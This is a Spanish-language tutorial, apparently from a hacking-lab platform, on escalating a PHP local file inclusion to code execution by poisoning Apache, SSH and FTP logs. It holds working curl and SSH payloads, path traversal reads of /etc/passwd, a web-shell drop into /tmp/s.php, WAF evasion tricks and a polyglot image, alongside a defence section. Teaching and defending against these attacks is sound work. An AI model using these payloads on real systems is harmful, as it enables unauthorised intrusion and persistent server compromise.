Aprende › Vulnerabilidades web

Log poisoning: cómo un LFI inocente acaba siendo ejecución de código

· 7 min de lectura

Aprende cómo un LFI que solo lee archivos pasa a RCE inyectando código PHP en los logs del servidor y haciendo que el propio LFI los incluya. Cubre access.log, auth.log, mail.log y FTP.

Encuentras un LFI (Local File Inclusion) en una aplicación PHP. Puedes leer /etc/passwd, /etc/hosts, incluso el wp-config.php. Buena información, pero el objetivo real es ejecución de código, no lectura. La pregunta clásica entonces: ¿cómo convierto este LFI en RCE?

Una respuesta elegante, antigua y todavía útil es el log poisoning: haces que un log del servidor —el que escribe el propio Apache, el servicio SSH, el servidor FTP o el servidor de correo— contenga código PHP controlado por ti. Después, usas el LFI para incluir ese log. El intérprete PHP lo procesa como código, encuentra tus etiquetas <?php ... ?> y las ejecuta. RCE conseguido sin necesidad de subir archivos.

En esta lección vas a ver el flujo general del log poisoning, los tres targets clásicos (access.log, auth.log, vsftpd.log), cómo identificar qué log tienes al alcance y cómo defenderse. Todo probado en los laboratorios snort, enumhub y fryerforce de whoami-labs.

Usa estas técnicas solo contra sistemas autorizados o laboratorios. Envenenar logs en servicios ajenos sin permiso es delito.

Qué necesitas para que funcione#

Tres ingredientes:

  • Un LFI que incluya archivos como PHP (no file_get_contents, no readfile; tiene que ser include, require o similar).
  • Un log con contenido que tú puedas controlar: user agent, petición HTTP, intento de login, nombre de usuario SSH.
  • Ese log tiene que ser legible por el usuario del servidor web (habitualmente www-data o apache).

Si cumples los tres, puedes meter PHP en el log y hacer que se ejecute vía el LFI.

Log poisoning: inyectar PHP en el log → LFI incluye el log → PHP ejecuta → RCE
Log poisoning: inyectar PHP en el log → LFI incluye el log → PHP ejecuta → RCE

Camino 1: Apache access.log#

El log de accesos de Apache registra cada petición HTTP. Entre lo que registra está el User-Agent, un campo que tú controlas 100 por cien.

Paso 1: confirmar el LFI y la ruta del log#

Pruebas típicas:

curl "http://objetivo.com/index.php?page=../../../../etc/passwd"
curl "http://objetivo.com/index.php?page=../../../../var/log/apache2/access.log"

Si lees el access.log, perfecto: confirma la ruta y la legibilidad. Rutas típicas por distro:

  • Debian/Ubuntu: /var/log/apache2/access.log
  • CentOS/RHEL: /var/log/httpd/access_log
  • Nginx: /var/log/nginx/access.log

Paso 2: inyectar PHP en el User-Agent#

curl -A "<?php system(\$_GET['cmd']); ?>" http://objetivo.com/

Ese request queda registrado en el access.log con el User-Agent literal, incluyendo las etiquetas PHP.

Paso 3: incluir el log vía el LFI con el parámetro cmd#

curl "http://objetivo.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"

Cuando PHP procesa el log, encuentra <?php system($_GET['cmd']); ?> y lo ejecuta con cmd=id. Resultado: uid=33(www-data) gid=33(www-data). RCE directo.

Trucos útiles#

  • Si el navegador te codifica los < y >, usa curl o Burp.
  • Si hay WAF que detecta <?php en User-Agent, prueba <?= system($_GET['c']); ?> (sintaxis corta) o <?php dividido en dos requests con un Range Header (más raro).
  • Si el log es enorme y tarda en parsear, llámalo con un cmd que grabe una web shell completa en /tmp/s.php y luego usa esa shell: una vez, LFI al log; a partir de ahí, /tmp/s.php?c=....

Camino 2: auth.log (SSH)#

Cuando el acceso a SSH está habilitado y falla un login con un nombre de usuario que lleva código PHP, el servicio lo registra textualmente en /var/log/auth.log. Si ese log es legible para el usuario web (cosa rara pero posible en configuraciones descuidadas), puedes envenenar también por aquí.

Paso 1: intento SSH con usuario especial#

ssh '<?php system($_GET["cmd"]); ?>'@objetivo.com

El intento falla, pero en auth.log queda registrado algo así:

Nov  5 10:12:03 server sshd[1234]: Invalid user <?php system($_GET["cmd"]); ?> from 10.10.14.5 port 51432

Paso 2: LFI al auth.log#

curl "http://objetivo.com/index.php?page=../../../../var/log/auth.log&cmd=id"

Si el PHP del servidor web tiene permisos para leer /var/log/auth.log (adm group o configuración particular), tienes RCE. En las instalaciones por defecto de Ubuntu, auth.log no es legible por www-data, así que este camino no funciona siempre; en algunos labs y en configuraciones custom sí.

Camino 3: vsftpd y otros logs de FTP#

Los servidores FTP suelen registrar los intentos de login con el nombre de usuario. Un intento con USER <?php ... ?> deja el PHP en el log.

ftp objetivo.com
USER <?php system($_GET['cmd']); ?>
PASS cualquiera

Luego LFI al log, que en vsftpd suele estar en /var/log/vsftpd.log, y lista. Igual que con SSH, depende de los permisos.

Otros logs interesantes#

  • /var/log/mail.log y /var/log/exim4/mainlog: cuando hay un servicio de correo, los intentos de envío pueden registrar cabeceras que controles. Útil para labs con Postfix o Exim mal configurados.
  • /var/log/mysql/error.log: no suele ser legible ni controlable, pero en instalaciones muy raras se puede.
  • Logs de aplicaciones custom: PHP que escribe logs propios con input del usuario sin sanitizar es un vector perfecto si luego algo incluye ese log.

Alternativas cuando no hay log al alcance#

Alternativas: php://filter, wrappers de PHP, data://, zip://, PHP sessions
Alternativas: php://filter, wrappers de PHP, data://, zip://, PHP sessions

Si no tienes log envenenable pero sí LFI, hay otras vías clásicas para RCE:

  • php://input: en configuraciones con allow_url_include=On, mandar el payload en el body de la petición y hacer include('php://input').
  • data://: data://text/plain;base64,<base64 del PHP> como parámetro del LFI (también requiere allow_url_include=On).
  • phar://: engañar a include con un archivo subido que en realidad es un phar con payload serializado.
  • PHP sessions: si conoces la ruta de /var/lib/php/sessions/sess_<id> y controlas datos de la sesión, puedes meter PHP ahí y luego incluirlo.
  • /proc/self/environ: en servidores viejos, variables de entorno controladas por el User-Agent y legibles vía /proc.

Cada una tiene sus condiciones. La elegancia del log poisoning es que casi siempre está disponible: todos los servicios loguean.

Defender contra log poisoning#

  • Validar que include recibe solo nombres de archivo controlados (whitelist de valores permitidos, no concatenación directa de parámetros GET).
  • No incluir archivos como PHP si vienen de rutas de usuario; usar file_get_contents y pintar como texto, nunca include.
  • Separar permisos: www-data no debería tener lectura directa de /var/log/apache2/access.log en un entorno endurecido (normalmente no la tiene salvo si está en el grupo adm).
  • Desactivar allow_url_include y allow_url_fopen en PHP si no son necesarios.
  • Rotación agresiva de logs: mientras más corta la vida del log envenenado, menor la ventana de explotación.
  • WAF que inspeccione User-Agent y headers HTTP buscando patrones <?php, <?=, base64_decode.

Resumen comparado de wrappers PHP#

Para elegir rápido qué técnica usar según lo que te deja PHP del servidor:

TécnicaQué necesitaQué consigues
Log poisoning (access.log)LFI + log legible por www-dataRCE
php://inputallow_url_include=On + POSTRCE
data:// base64allow_url_include=OnRCE
phar:// con uploadSubida de archivo + unserialize alcanzableRCE por gadget chain
/proc/self/environKernel viejo + /proc legibleRCE
PHP session uploadSesión de usuario + path conocidoRCE
php://filter + base64LFISolo lectura, pero útil para encontrar más

Este cuadro es el primer vistazo en cada LFI: lo escaneas, descartas los que no aplican por configuración de PHP, y vas a por el primero que cumple condiciones. En labs realistas suele ser log poisoning o php://input.

Walkthrough del laboratorio snort#

Para fijar el flujo, el escenario tipo del laboratorio snort de whoami-labs sigue este esquema:

Paso 1 — descubrir el LFI:

# El parámetro page concatena a include()
curl "http://snort.lab/index.php?page=../../../../etc/passwd"
# Devuelve contenido de /etc/passwd, confirma LFI con include/require

Paso 2 — probar lectura del access.log:

curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log"
# Si responde con líneas del log, es incluible y legible

Paso 3 — envenenar:

curl -A "<?php system(\$_GET['c']); ?>" "http://snort.lab/"

Paso 4 — ejecutar:

curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log&c=id"
# Respuesta termina con: uid=33(www-data) gid=33(www-data)

Paso 5 — subir una web shell más cómoda (para no depender del log cada vez):

curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log&c=echo+'<?php+system(\$_GET[0]);?>'+>+/tmp/s.php"
# Usas /tmp/s.php?0=id de aquí en adelante

Es el flujo canónico. En enumhub y fryerforce cambian los paths y las condiciones, pero la mecánica es la misma; cada lab fuerza entender un matiz distinto (permisos, ofuscación, log alternativo).

Errores comunes del atacante#

  • Olvidar que PHP ejecuta solo cuando hay <?php completo y cerrado. Un <?php sin cierre sigue valiendo en muchos parsers, pero no siempre.
  • Usar comillas simples en el payload que las escape mal el log.
  • Olvidar codificar el path traversal (%2e%2e%2f cuando hay un filtro simple de ../).
  • Suponer que todos los logs son legibles por www-data; en producción endurecida no lo son.
  • No revisar el tamaño del log: si es gigantesco, el include tarda mucho y el servidor puede dar timeout.

Preguntas frecuentes#

¿Funciona en servidores modernos?#

El vector sigue existiendo donde haya LFI. Los LFI modernos son menos comunes porque los frameworks (Laravel, Symfony) no concatenan rutas de usuario con include; pero en código legacy, en CMS con plugins y en aplicaciones a medida siguen apareciendo. Donde hay LFI, el log poisoning sigue aplicando.

¿Qué archivo intento primero?#

access.log de Apache/Nginx, porque el User-Agent es lo más fácil de inyectar y suele estar en una ruta predecible. Si no funciona (permiso denegado, 404), pruebas auth.log, FTP y los wrappers alternativos.

¿Un LFI con .php añadido al final estorba?#

Depende del PHP:

  • include($_GET['page'] . '.php'): salvo truco con null byte (solo versiones muy viejas, PHP < 5.3.4), estás obligado a apuntar a archivos .php. Los logs no suelen cumplir.
  • include($_GET['page']): libre. El típico lab.

¿Nginx registra User-Agent en access.log?#

Sí, en la configuración por defecto. Formato combined incluye "$http_user_agent". Igual que Apache: perfectamente envenenable.

¿Dónde practico?#

En los laboratorios snort, enumhub y fryerforce de whoami-labs, cada uno diseñado alrededor de un LFI que requiere log poisoning con un camino distinto (access, auth o aplicación custom).

¿Qué pasa con los logs en formato JSON?#

Algunos servidores modernos escriben logs en JSON (Nginx con log_format main escape=json, o aplicaciones estructuradas). El payload PHP sigue colocándose dentro del valor del User-Agent, pero rodeado por comillas y escapes. Para que PHP ejecute, basta con que <?php ... ?> aparezca intacto en algún punto del archivo; los corchetes JSON de alrededor no interfieren porque PHP solo busca etiquetas de código. Un escape de comillas sí puede romperlo (\"), pero si el log es escape=default sin JSON, pasa en claro.

¿Puedo usar un payload polyglot que sirva como imagen y como PHP?#

Sí: un GIF con GIF89a;<?php system($_GET['c']); ?> al principio pasa validaciones triviales de tipo MIME y se puede incluir como PHP si el LFI no tiene extensión forzada. Es un vector clásico para aplicaciones que aceptan imágenes y luego las enlazan por nombre.

¿Un LFI con filtros de null byte sigue siendo útil?#

Depende de la versión de PHP. A partir de PHP 5.3.4 los null bytes dejaron de cortar strings en funciones de archivo, lo que mató el truco clásico ?page=log%00. En código legacy con PHP viejo sigue funcionando; en aplicaciones modernas hay que buscar otro vector o combinar con path traversal normal, o apuntar a un wrapper que no requiera extensión forzada por el código vulnerable, como php://filter o data:// explicados arriba.

Resumen#

  • Un LFI que llega a include/require puede convertirse en RCE si logras meter PHP en un log que el LFI pueda incluir.
  • Logs clásicos: access.log (User-Agent), auth.log (usuario SSH), vsftpd.log (usuario FTP), logs de correo.
  • Si no hay log al alcance, wrappers PHP (php://input, data://, phar://) ofrecen alternativas.
  • Defensa: whitelist de archivos incluibles, nunca incluir rutas de usuario, permisos restrictivos de logs, deshabilitar allow_url_include.

En conjunto, es una de esas técnicas que resume la filosofía del pentesting clásico: componer dos primitivas pequeñas (escribir en un log y leer archivos) para alcanzar algo mucho más grande (RCE).

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría